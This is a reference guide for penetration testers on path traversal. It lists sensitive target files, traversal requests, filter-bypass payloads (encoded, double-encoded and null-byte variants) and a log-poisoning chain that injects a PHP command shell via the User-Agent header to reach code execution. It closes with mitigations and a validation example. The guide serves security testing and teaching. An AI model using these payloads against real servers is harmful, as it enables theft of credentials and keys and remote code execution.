Skip to content

Path Traversal – Directory Traversal

Complete Reference Guide


1. What Is Path Traversal?

Path Traversal (also called Directory Traversal) is a vulnerability where an attacker tricks the application into reading (or writing) files outside the intended directory on the server.

Normal intent : /var/www/images/product.jpg
Attack        : /var/www/images/../../../etc/passwd
Result        : /etc/passwd  ← a sensitive system file

The ../ sequence means "go up one directory" — repeating it lets you navigate to the filesystem root.


2. Impact

Impact Example
Reading sensitive files /etc/passwd, /etc/shadow, configuration files
Stealing credentials Database passwords, API keys in config files
Reading source code Application logic, hardcoded secrets
System information OS version, user lists, network configuration
Combined with upload → RCE Uploading a file + path traversal to execution

3. Recognizing It — Where Does Path Traversal Risk Live?

Look for parameters that refer to filenames or paths:

Function Example parameter
Loading images ?filename=product.jpg
Downloading a file ?file=report.pdf
Loading a template ?template=home.html
Log viewer ?log=access.log
Include / import ?page=about
Avatar / profile photo ?img=user123.png

Less Obvious

  • A Referer header with a file path
  • Content-Disposition in upload responses
  • API endpoints: /api/files/{filename}
  • Path parameters in REST: /download/invoice-2024.pdf

4. Target Files per OS

Linux / Unix

/etc/passwd                          ← user list
/etc/shadow                          ← password hashes (root required)
/etc/hosts                           ← local DNS
/etc/hostname                        ← server name
/etc/os-release                      ← OS version
/proc/version                        ← kernel version
/proc/self/environ                   ← environment variables (sometimes creds)
/proc/self/cmdline                   ← how the app was started
/var/log/apache2/access.log          ← Apache access log
/var/log/apache2/error.log           ← Apache error log
/var/log/nginx/access.log            ← Nginx access log
/home/{user}/.ssh/id_rsa             ← private SSH key
/home/{user}/.bash_history           ← command history
/root/.ssh/id_rsa                    ← root SSH key
/var/www/html/config.php             ← web application config
/app/config/database.yml             ← database credentials

Windows

C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Windows\System32\config\SAM       ← password hashes (requires rights)
C:\inetpub\wwwroot\web.config        ← IIS configuration
C:\xampp\htdocs\config.php
C:\Users\Administrator\Desktop\
C:\boot.ini

5. Testing — Step by Step

Step 1 — Identify a Baseline

Find a parameter that contains a file or path:

GET /image?filename=product.jpg HTTP/1.1

Send this to Burp Repeater for manual tests.


Step 2 — Simple Traversal

GET /image?filename=../../../etc/passwd HTTP/1.1

If the response contains the contents of /etc/passwd → Path Traversal confirmed.


Step 3 — Determining Depth

You don't always know how deep the application is in the filesystem. Use enough ../:

../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd

Too many ../ isn't a problem — you just stop at the root /.


Step 4 — Testing Absolute Paths

Some applications let absolute paths through if the validation only checks for ../:

GET /image?filename=/etc/passwd HTTP/1.1

Step 5 — Testing Windows Paths

On Windows servers:

..\..\..\windows\win.ini
..\..\..\windows\system32\drivers\etc\hosts

6. Bypassing Filters

6a. Stripped ../ Sequences

The application removes ../ from the input but doesn't do this recursively:

....//                 ← after stripping ../, ../ remains
....\/
..././
...\.\

Example:

....//....//....//etc/passwd

After non-recursively stripping ../:

../../etc/passwd  ← traversal succeeded

6b. URL Encoding

..%2F..%2F..%2Fetc%2Fpasswd          ← / as %2F
..%252F..%252F..%252Fetc%252Fpasswd  ← double encoded
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd  ← . and / encoded
%2e%2e/%2e%2e/%2e%2e/etc/passwd

Double encoding is useful if the server decodes twice:

%252F → decodes to %2F → decodes to /

6c. URL Encoding the Backslash (Windows)

..%5C..%5C..%5Cwindows\win.ini       ← \ as %5C

6d. Bypassing a Required Base Path

The application requires the path to start with a certain directory:

/var/www/images/

Bypass:

filename=/var/www/images/../../../etc/passwd

The validation sees the correct base path, but the traversal neutralizes it afterward.


6e. Bypassing a Required Extension

The application requires a certain file extension (e.g. .jpg):

Null byte injection:

filename=../../../etc/passwd%00.jpg

The null byte (%00) terminates the string in some languages (C, old PHP) — the .jpg extension is ignored by the OS.

Note: no longer works in modern PHP (≥ 5.3.4) but still relevant on legacy systems.


6f. Combinations

....%2F....%2F....%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd
/var/www/images/../../.%2e/etc/passwd

7. Automatic Detection — Burp Suite

What Burp DOES Detect

  • Standard ../ traversal in GET/POST parameters (active scan)
  • Absolute paths (/etc/passwd)
  • Basic URL encoding variants
  • Known target files as confirmation (looks for /etc/passwd content in the response)

What Burp Doesn't Always Detect

Blind spot Reason
Traversal in headers Referer, Cookie are tested less
Null byte bypasses Less common in modern scan templates
Double encoding Not always in scope for the scanner
Path parameters in REST /api/download/../../etc/passwd sometimes missed
Application-specific filters Custom stripping logic is hard to bypass automatically
Burp active scan = a good starting point
Manual testing   = necessary for filter bypasses

8. Burp Intruder — Approach for Filter Bypasses

Use a Path Traversal wordlist as the payload:

Recommended list: SecLists/Fuzzing/LFI/LFI-Jhaddix.txt

Intruder → Sniper
Parameter: filename=§product.jpg§
Payload:   LFI wordlist
Filter:    Response length deviating from the baseline

9. What to Do After Confirmation?

Path Traversal confirmed
    │
    ├─ /etc/passwd → determine usernames
    ├─ /etc/shadow → password hashes (if permitted)
    ├─ ~/.ssh/id_rsa → SSH key exfiltration
    ├─ Config files → database credentials, API keys
    ├─ Read source code → look for further vulnerabilities
    ├─ Log files → log poisoning → RCE
    └─ Combine with file upload → RCE

10. Path Traversal → RCE via Log Poisoning

If you can read log files and user input ends up in the logs:

  1. Send a payload in a header that gets logged:
GET /index.php HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>
  1. Read the log file via path traversal:
filename=../../../var/log/apache2/access.log&cmd=id
  1. The PHP code in the log gets executed → RCE.

11. Tools

Tool Use
Burp Suite Pro Active scan, Repeater, Intruder
ffuf Fuzzing file paths
dotdotpwn A specialized path traversal fuzzer
SecLists LFI/path traversal wordlists (/Fuzzing/LFI/)
Burp Logger++ Filtering responses by file content

12. Mitigations

  • Validate user input — don't allow ../, ..%2F, or absolute paths
  • Use an allowlist of allowed filenames or IDs instead of direct file paths
  • Canonicalize the path before validation — use realpath() or equivalent and check the result falls within the expected base directory
  • Give the web server minimal filesystem permissions (principle of least privilege)
  • Chroot / containerization — restrict the filesystem visible to the application
  • Store files via database references or object storage (S3) instead of direct file paths
  • Never concatenate filenames directly with a base path without validation

Example of Correct Validation (PHP)

$basePath = '/var/www/images/';
$userInput = $_GET['filename'];

$fullPath = realpath($basePath . $userInput);

if ($fullPath === false || strpos($fullPath, $basePath) !== 0) {
    // Path leaves the base directory → reject
    http_response_code(403);
    exit;
}

// Safe to read
readfile($fullPath);